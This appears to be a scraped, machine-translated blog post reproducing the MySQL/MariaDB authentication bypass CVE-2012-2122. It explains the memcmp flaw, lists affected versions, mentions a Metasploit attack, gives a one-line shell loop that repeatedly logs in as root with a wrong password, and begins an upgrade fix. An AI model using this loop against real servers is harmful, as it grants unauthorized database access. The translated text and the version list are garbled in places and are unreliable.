当前位置:网站首页>MySQL authentication bypass vulnerability (cve-2012-2122)
MySQL authentication bypass vulnerability (cve-2012-2122)
2022-07-06 22:39:00 【OOOOOK. two thousand and twenty-one】
Vulnerability profile
When the connection MariaDB/MySQL when , The password entered will be compared with the expected correct password , Due to improper handling , Can lead to even memcmp () Returns a nonzero value , Also can make MySQL Think two passwords are the same . That is to say, as long as you know the user name , Try again and again to log in directly SQL database .
Affected version
- MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not. MySQL
- versions from 5.1.63, 5.5.24, 5.6.6 are not.
Reasons for appearance
This vulnerability is due to memcmp Function only returns -128 To 127 Values in range , Optimized on some platforms , Cause even memcmp() Returns a nonzero value , Also can make MySQL Think two passwords are the same . about 256 You can succeed once .
Loophole recurrence
Scan open ports

use MSF attack



EXP
for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done
Repair
upgrade MySQL edition ,( Those lower than the following versions must be upgraded to the latest version :5.0 Version below 5.0.96;5.1 Version below 5.1.63;5.5 Version below 5.5.25) stop it mysql, Back up the entire mysql, The installation directory ,data Catalog ( This step is only to prevent escalation
边栏推荐
- 基于 QEMUv8 搭建 OP-TEE 开发环境
- 雅思口语的具体步骤和时间安排是什么样的?
- 基於 QEMUv8 搭建 OP-TEE 開發環境
- OpenNMS separation database
- (十八)LCD1602实验
- Mise en place d'un environnement de développement OP - tee basé sur qemuv8
- 使用云服务器搭建代理
- 2022-07-04 the high-performance database engine stonedb of MySQL is compiled and run in centos7.9
- Daily question 1: force deduction: 225: realize stack with queue
- Extern keyword
猜你喜欢

Aardio - 通过变量名将变量值整合到一串文本中

Financial professionals must read book series 6: equity investment (based on the outline and framework of the CFA exam)

Aardio - Method of batch processing attributes and callback functions when encapsulating Libraries

Web APIs DOM 时间对象

Build op-tee development environment based on qemuv8

基于 QEMUv8 搭建 OP-TEE 开发环境

pytorch_YOLOX剪枝【附代码】

Aardio - 利用customPlus库+plus构造一个多按钮组件

config:invalid signature 解决办法和问题排查详解

NPDP certification | how do product managers communicate across functions / teams?
随机推荐
sizeof关键字
做国外LEAD2022年下半年几点建议
Puppeteer连接已有Chrome浏览器
Aardio - does not declare the method of directly passing float values
Advantages of link local address in IPv6
Classification, function and usage of MySQL constraints
rust知识思维导图xmind
AdaViT——自适应选择计算结构的动态网络
Config:invalid signature solution and troubleshooting details
memcached
HDU 5077 NAND (violent tabulation)
将MySQL的表数据纯净方式导出
Mysql database basic operations DML
OpenCV VideoCapture. Get() parameter details
GD32F4XX串口接收中断和闲时中断配置
hdu 5077 NAND(暴力打表)
关于声子和热输运计算中BORN电荷和non-analytic修正的问题
How big is the empty structure?
基于 QEMUv8 搭建 OP-TEE 开发环境
Web APIs DOM 时间对象